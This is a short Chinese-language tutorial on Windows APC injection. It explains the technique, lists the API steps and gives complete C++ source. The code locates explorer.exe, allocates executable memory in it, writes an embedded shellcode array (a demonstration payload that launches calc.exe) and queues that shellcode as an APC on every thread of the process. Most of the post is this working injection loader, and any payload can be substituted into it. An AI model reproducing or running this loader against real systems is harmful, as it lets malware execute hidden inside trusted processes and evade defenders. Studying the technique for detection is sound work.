注入——APC注入

APC注入即异步过程调用，APC是一个链状的数据结构，可以让一个线程在其原本的执行步骤前执行其他代码，每个线程都维护一个APC链。当线程从等待状态苏醒后，自动检测自己的APC队列中是否存在APC过程。

只需要将目标的线程的APC队列中添加APC过程，为了提高命中率可以向线程的所有线程中添加APC过程，然后促使线程从休眠中恢复，就可以实现APC注入。

1、OpenProcess打开进程

2、VirtualAllocEx申请内存空间

3、WriteProcessMemory向刚刚申请的空间写入要执行的内容

4、使用QueueUserAPC插入执行

测试结果：

代码展示：

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
	unsigned char buf[] = {
	0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
	0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
	0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
	0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
	0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
	0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
	0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
	0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
	0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
	0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
	0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
	0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
	0x00
	};

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
	HANDLE victimProcess = NULL;
	PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
	THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
	std::vector<DWORD> threadIds;
	SIZE_T shellSize = sizeof(buf);
	HANDLE threadHandle = NULL;

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
			Process32Next(snapshot, &processEntry);
		}
	}

	victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
	LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

	if (Thread32First(snapshot, &threadEntry)) {
		do {
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
				threadIds.push_back(threadEntry.th32ThreadID);
			}
		} while (Thread32Next(snapshot, &threadEntry));
	}

	for (DWORD threadId : threadIds) {
		threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
		QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
		Sleep(1000 * 2);
	}

	return 0;
}